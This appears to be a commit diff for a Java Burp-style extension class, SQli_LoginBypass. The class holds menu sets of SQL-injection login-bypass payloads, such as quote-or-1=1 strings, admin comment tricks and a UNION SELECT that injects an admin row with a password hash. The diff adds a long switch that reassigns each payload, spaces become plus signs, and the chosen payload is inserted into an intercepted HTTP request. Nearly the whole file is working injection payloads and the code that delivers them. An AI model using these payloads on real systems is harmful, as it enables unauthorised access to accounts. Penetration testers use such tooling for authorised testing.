@@ -21,7 +21,7 @@ public class SQli_LoginBypass extends JMenu {
21
21
public String [] Login_Menu = {"Set 1" ,"Set 2" ,"Set 3" ,"Set 4" ,"Set 5" };
22
22
public String LoginMenuItems [][] = {
23
23
{"' or ''='" , "' or 1='1" , "' or '1'='1" , "' or ' 1=1" , "' or 1=1--" , "' or 1=1#" , "' or 1=1/*" , "') or '1'='1--" , "') or ('1'='1--" , "' or 1=1)#" },
24
- {"' or '1?='1" , "' or 'x'='x" , "' or 0=0 –" , "or 0=0 –" , "' or 0=0 #" , "or 0=0 #" , "' or 'x'='x" , "' ) or ('x'='x" , "' or 1=1–" , "' or a=a–" },
24
+ {"' or '1?='1" , "' or 'x'='x" , "' or 0=0 –" , "or 0=0 –" , "' or 0=0 #" , "or 0=0 #" , "') or ('x'='x" , "' or 1=1–" , "' or a=a–" },
25
25
{"') or ('a'='a" , "hi' or 1=1 –" , "'or'1=1?" , "'-'" , "' '" , "'&'" , "'^'" , "'*'" , "' or ''-'" , "' or '' '" },
26
26
{"' or ''&'" , "' or ''^'" , "' or ''*'" , "or true--" , "' or true--" , "') or ('x')=('x" , "')) or (('x'))=(('x" , "admin' --" , "admin' #" , "admin'/*" },
27
27
{"admin' or '1'='1" , "admin' or '1'='1'--" , "admin' or '1'='1'#" , "admin' or '1'='1'/*" , "admin'or 1=1 or ''='" , "admin') or ('1'='1" , "admin') or ('1'='1'/*" , "1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055" },
@@ -57,14 +57,155 @@ public void actionPerformed(ActionEvent e) {
57
57
String action = e .getActionCommand ();
58
58
byte [] newRequest = do_loginBypass (request , selectString , action , selectedIndex );
59
59
req .setRequest (newRequest );
60
- JOptionPane .showMessageDialog (null , action );
61
60
}
62
61
63
62
public byte [] do_loginBypass (byte [] request , String selectedString , String action , int [] selectedIndex ){
64
- // swtich(action){
65
- // case " a":
66
- // break;
67
- // }
63
+ switch (action ){
64
+ case "' or ''='" :
65
+ selectedString = "' or ''='" ;
66
+ break ;
67
+ case "' or 1='1" :
68
+ selectedString = "' or 1='1" ;
69
+ break ;
70
+ case "' or '1'='1" :
71
+ selectedString = "' or '1'='1" ;
72
+ break ;
73
+ case "' or ' 1=1" :
74
+ selectedString = "' or ' 1=1" ;
75
+ break ;
76
+ case "' or 1=1--" :
77
+ selectedString = "' or 1=1--" ;
78
+ break ;
79
+ case "' or 1=1#" :
80
+ selectedString = "' or 1=1#" ;
81
+ break ;
82
+ case "' or 1=1/*" :
83
+ selectedString = "' or 1=1/*" ;
84
+ break ;
85
+ case "') or '1'='1--" :
86
+ selectedString = "') or '1'='1--" ;
87
+ break ;
88
+ case "') or ('1'='1--" :
89
+ selectedString = "') or ('1'='1--" ;
90
+ break ;
91
+ case "' or 1=1)#" :
92
+ selectedString = "' or 1=1)#" ;
93
+ break ;
94
+ case "' or '1?='1" :
95
+ selectedString = "' or '1?='1" ;
96
+ break ;
97
+ case "' or 'x'='x" :
98
+ selectedString = "' or 'x'='x" ;
99
+ break ;
100
+ case "' or 0=0 –" :
101
+ selectedString = "' or 0=0 –" ;
102
+ break ;
103
+ case "or 0=0 –" :
104
+ selectedString = "or 0=0 –" ;
105
+ break ;
106
+ case "' or 0=0 #" :
107
+ selectedString = "' or 0=0 #" ;
108
+ break ;
109
+ case "or 0=0 #" :
110
+ selectedString = "or 0=0 #" ;
111
+ break ;
112
+ case "') or ('x'='x" :
113
+ selectedString = "') or ('x'='x" ;
114
+ break ;
115
+ case "' or 1=1–" :
116
+ selectedString = "' or 1=1–" ;
117
+ break ;
118
+ case "' or a=a–" :
119
+ selectedString = "' or a=a–" ;
120
+ break ;
121
+ case "') or ('a'='a" :
122
+ selectedString = "') or ('a'='a" ;
123
+ break ;
124
+ case "hi' or 1=1 –" :
125
+ selectedString = "hi' or 1=1 –" ;
126
+ break ;
127
+ case "'or'1=1?" :
128
+ selectedString = "'or'1=1?" ;
129
+ break ;
130
+ case "'-'" :
131
+ selectedString = "'-'" ;
132
+ break ;
133
+ case "' '" :
134
+ selectedString = "' '" ;
135
+ break ;
136
+ case "'&'" :
137
+ selectedString = "'&'" ;
138
+ break ;
139
+ case "'^'" :
140
+ selectedString = "'^'" ;
141
+ break ;
142
+ case "'*'" :
143
+ selectedString = "'*'" ;
144
+ break ;
145
+ case "' or ''-'" :
146
+ selectedString = "' or ''-'" ;
147
+ break ;
148
+ case "' or '' '" :
149
+ selectedString = "' or '' '" ;
150
+ break ;
151
+ case "' or ''&'" :
152
+ selectedString = "' or ''&'" ;
153
+ break ;
154
+ case "' or ''^'" :
155
+ selectedString = "' or ''^'" ;
156
+ break ;
157
+ case "' or ''*'" :
158
+ selectedString = "' or ''*'" ;
159
+ break ;
160
+ case "or true--" :
161
+ selectedString = "or true--" ;
162
+ break ;
163
+ case "' or true--" :
164
+ selectedString = "' or true--" ;
165
+ break ;
166
+ case "') or ('x')=('x" :
167
+ selectedString = "') or ('x')=('x" ;
168
+ break ;
169
+ case "')) or (('x'))=(('x" :
170
+ selectedString = "')) or (('x'))=(('x" ;
171
+ break ;
172
+ case "admin' --" :
173
+ selectedString = "admin' --" ;
174
+ break ;
175
+ case "admin' #" :
176
+ selectedString = "admin' #" ;
177
+ break ;
178
+ case "admin'/*" :
179
+ selectedString = "admin'/*" ;
180
+ break ;
181
+ case "admin' or '1'='1" :
182
+ selectedString = "admin' or '1'='1" ;
183
+ break ;
184
+ case "admin' or '1'='1'--" :
185
+ selectedString = "admin' or '1'='1'--" ;
186
+ break ;
187
+ case "admin' or '1'='1'#" :
188
+ selectedString = "admin' or '1'='1'#" ;
189
+ break ;
190
+ case "admin' or '1'='1'/*" :
191
+ selectedString = "admin' or '1'='1'/*" ;
192
+ break ;
193
+ case "admin'or 1=1 or ''='" :
194
+ selectedString = "admin'or 1=1 or ''='" ;
195
+ break ;
196
+ case "admin') or ('1'='1" :
197
+ selectedString = "admin') or ('1'='1" ;
198
+ break ;
199
+ case "admin') or ('1'='1'/*" :
200
+ selectedString = "admin') or ('1'='1'/*" ;
201
+ break ;
202
+ case "1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055" :
203
+ selectedString = "1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055" ;
204
+ break ;
205
+ default :
206
+ selectedString = selectedString ;
207
+ }
208
+ selectedString = selectedString .replace (" " , "+" );
68
209
return Methods .do_modify_request (request , selectedIndex , selectedString );
69
210
}
70
211
0 commit comments